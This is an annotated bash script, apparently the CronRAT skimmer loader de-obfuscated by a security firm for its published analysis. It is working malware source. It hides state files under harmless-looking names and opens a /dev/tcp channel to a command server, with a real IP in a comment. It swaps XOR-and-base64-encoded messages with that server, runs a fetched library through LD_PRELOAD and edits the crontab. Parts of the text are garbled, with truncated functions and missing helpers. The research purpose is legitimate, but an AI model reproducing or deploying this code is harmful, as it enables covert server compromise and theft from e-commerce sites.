#!/bin/bash # Annotation (C) info@sansec.io 2021 # Analysis here: https://sansec.io/research/cronrat set -x set -eEu set -o pipefail trap 'echo "L$LINENO"; remove_temp_file; exit -1' ERR O54=4 function remove_temp_file() { if [[ ! -z "${writeable_path+x}" ]]; then if [[ -f "${writeable_path}" ]]; then # rm -f "${writeable_path}" echo "not removing path" fi fi } function exit_with_code() { echo "F${1}" # remove_temp_file exit ${1} } function does_func_exist() { if [[ "$( type ${1} &>/dev/null echo ${?} )" == 0 ]]; then echo 1 else echo 0 fi } function is_executable_by_user() { O27=$(command -v "${1}") if [[ -u "${O27}" || -g "${O27}" ]]; then echo 1 else echo 0 fi } if [[ $(does_func_exist "") == 0 ]]; then exit_with_code 8 fi if [[ $(is_executable_by_user "") == 1 ]]; then exit_with_code 10 fi if [[ $(does_func_exist "printf") == 0 || $(does_func_exist "ps") == 0 || $(does_func_exist "od") == 0 || $(does_func_exist "seq") == 0 || $(does_func_exist "dd") == 0 || $(does_func_exist "awk") == 0 ]]; then exit_with_code 6 fi if [[ $(does_func_exist "crontab") == 0 ]]; then exit_with_code 9 fi O15=1 O18=2 O12=3 O19=4 O16=5 O13=6 O7=7 O1=10 tenGB=9999999999 O9=3 possible_state_files=( '/dev/shm;www-shared|server-worker-shared|sql-shared|php-shared' "/run/user/$(id -u);systemd-user.lock|php.lock|php-fpm.lock|www-server.lock" "/tmp;php_sess_$RANDOM$RANDOM$RANDOM|zend_cache__$RANDOM$RANDOM$RANDOM" '/var/tmp;php_cache|www_cache|worker_cahce' "$(pwd);logo_edited_$(date +'%N').png|user_edited_$(date +'%N').jpg|user_edited_$(date +'%N').css|custom_edited_$(date +'%N').css") O25=0 O17=1 O5=2 function remove_payload_from_crontab() { local new_cron="" local O46=false while read O39; do if [[ "${O39:0:13}" != "53 23 31 2 3 " ]]; then new_cron+="${O39}\n" else O46=true fi done <<<"$(crontab -l 2>/dev/null)" if [[ "${O46}" == false ]]; then echo -n ${O17} return fi echo -e "${new_cron%??}" | crontab - &>/dev/null if [[ $? != 0 ]]; then echo -n ${O5} return fi echo -n ${O25} } function uptime_in_seconds() { echo $(($(awk '{printf "%0.f", $1}' /dev/null) if [[ ${?} -ne 0 ]]; then echo -1; fi elif [[ $(does_func_exist "/sbin/lsof") == 1 ]]; then O41=$(/sbin/lsof -t "${1}" 2>/dev/null) if [[ ${?} -ne 0 ]]; then echo -1; fi elif [[ $(does_func_exist "/bin/fuser") == 1 ]]; then O41=$(/bin/fuser "${1}" 2>/dev/null) if [[ ${?} -ne 0 ]]; then echo -1; fi O41=$(echo ${O41} | awk '{$1=$1};1') elif [[ $(does_func_exist "/sbin/fuser") == 1 ]]; then O41=$(/sbin/fuser "${1}" 2>/dev/null) if [[ ${?} -ne 0 ]]; then echo -1; fi O41=$(echo ${O41} | awk '{$1=$1};1') fi echo "${O41}" | awk -F' ' '{print $NF}' } function close_fds() { "$@" 0>&- 1>&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- } function find_available_fd() { set +eE local O41=-1 for O61 in {1..1024}; do local _o_="$( true 2>/dev/null >&${O61} echo $? )" local _i_="$( true 2>/dev/null <&${O61} echo $? )" if [[ "${_o_}${_i_}" == "11" ]]; then O41=${O61} break fi done set -eE echo ${O41} } function is_mount_noexec() { set +eE O41=$( grep -Eq "^[^ ]+ ${1} [^ ]+ ([^ ]*,)?noexec[, ]" /proc/mounts echo $? ) set -eE echo ${O41} } function find_mount_for_path() { set +eE O41=$(df -P "${1}" 2>/dev/null) if [[ ${?} -eq 0 ]]; then O41=$(echo "${O41}" | tail -1) if [[ "${O41}" == /dev/mapper/* ]]; then O41=$(echo "${O41}" | tr -s ' ' | cut -d' ' -f6) else O41=$(echo "${O41}" | cut -d' ' -f1) fi else O41=1 fi set -eE echo ${O41} } function split_tokens() { local IFS=$"${1}" # -r : no \ escaping # -a : assign to arr read -r -a arr <<<"${2}" echo "${arr[@]}" } function get_xth_token() { local IFS=$"${1}" read -r -a arr <<<"${2}" echo "${arr[${3}]}" } function is_path_writable() { local O41=0 local testpath="${1}" if [[ -L "${testpath}" ]]; then if [[ -e "${testpath}" ]]; then testpath=$(realpath "${testpath}") else echo 0 return fi fi O31=$(find_mount_for_path "${testpath}") if [[ "${O31}" != "1" ]]; then if [[ "${O31}" == "tmpfs" ]]; then O31="${testpath}" fi if [[ $(is_mount_noexec "${O31}") -eq 1 ]]; then if [[ -e "${testpath}" && -d "${testpath}" && -w "${testpath}" ]]; then O41=1 fi fi fi echo ${O41} } upstream_fd=$(find_available_fd) if [[ ${upstream_fd} -eq -1 ]]; then exit_with_code 1 fi writable_dir="-1" writable_file="-1" writeable_path="-1" for O35 in "${possible_state_files[@]}"; do O28=($(split_tokens ';' "${O35}")) testpath="${O28[0]}" if [[ $(is_path_writable "${testpath}") -eq 1 ]]; then O26=($(split_tokens '|' "${O28[1]}")) writable_dir="${testpath}" writable_file="${O26[$RANDOM$RANDOM$RANDOM % ${#O26[@]}]}" writeable_path="${writable_dir}/${writable_file}" break fi done if [[ "${writable_dir}" == "-1" || "${writable_file}" == "-1" || "${writeable_path}" == "-1" ]]; then exit_with_code 2 fi set +eE # 47.115.46.167 443 eval "exec ${upstream_fd}<>/dev/tcp/127.0.0.1/4444" &>/dev/null || exit_with_code 5 set -eE eval "head -c "26" <&${upstream_fd}" &>/dev/null function get_rand_number() { O60=$(dd if=/dev/urandom bs=1 count=1 2>/dev/null) if [[ -z ${O60} ]]; then O60='X' fi if [[ ${O60} == $'\n' ]]; then O60='1' fi if [[ ${O60} == $'\'' ]]; then O60='h' fi echo $((16#$(to_hex "${O60}"))) } function b64encode() { local O41="" for ((i = 0; i < ${#1}; i++)); do hex2dec=$((10#$(printf "%d" "'${1:$i:1}"))) O52=$(printf '%02d ' $((${2} ^ ${hex2dec}))) O41="${O41}${O52}" done int2ascii "${O41}" | base64 -w0 - } function b64decode() { local O41="" in_hex=$(echo "${1}" | base64 -w0 -d - | od -An -vtx1 | tr -d ' \n') num_chars=$(echo "${1}" | base64 -w0 -d - | wc -c) for ((i = 0; i < $((${num_chars} * 2)); i += 2)); do hex2dec=$((16#$(printf ${in_hex:$i:2}))) O52=$(printf \\$(printf '%03o' $((${2} ^ ${hex2dec})))) O41="${O41}${O52}" done echo ${O41} } function send_to_upstream() { O60=$(get_rand_number) O21=$(int2ascii "${O60}") O8=$(int2ascii "${2}") encoded_payload=$(b64encode "${1}" $O60) O49=${#encoded_payload} if [[ ${O49} -gt ${tenGB} ]]; then exit_with_code 3 fi O44=$(printf "%03d" ${O54}) O45=$(printf "%010d" ${O49}) echo "SS: echo -n '${O21}${O8}${O44}${O45}${encoded_payload}' >&${upstream_fd}" eval "echo -n '${O21}${O8}${O44}${O45}${encoded_payload}' >&${upstream_fd}" } function read_from_upstream() { O20=${1:-false} O60=$(head -c "1" <&${upstream_fd}) O29=$(head -c "1" <&${upstream_fd}) O37=$(head -c "3" <&${upstream_fd}) O43=$(head -c "10" <&${upstream_fd}) O49=$((10#${O43})) if [[ ${O49} -gt ${tenGB} ]]; then exit_with_code 4 fi O38=$(head -c "${O49}" <&${upstream_fd}) O22=$((16#$( to_hex "${O60}" ))) if [[ ${O20} == true ]]; then O6="${O38}" else O6=$(b64decode "${O38}" ${O22}) fi echo "${O6}" } function read_xchar_from_upstream() { head -c "${1}" <&${upstream_fd} >/dev/null } function reset_upstream_fd() { eval "exec ${upstream_fd}>&-" } send_to_upstream "yG/uPNaConkVC,pSRB&S]mJ4S[@QM[4+V#M9jLQBI\$1\$}G<^(.rrP~C:+Z,5J"${writeable_path}" set +eE O24=$( cd "${O33}" && close_fds env "${env_var_name}"="${env_var_value}" LD_PRELOAD=${writeable_path} "${foreign_cmd}" "${foreign_param}" 1>&2 & O84 "${writeable_path}" ) set -eE if [[ ${O24} -ne -1 ]]; then O14=5 while [[ ${O14} -ne 0 ]]; do if ps -p ${O24} &>/dev/null; then true else send_to_upstream "ser" ${O19} exit_with_code 7 fi sleep 1 O14=$((${O14} - 1)) done send_to_upstream "ssc" ${O7} else send_to_upstream "sun" ${O16} fi send_to_upstream "cex" 2 reset_upstream_fd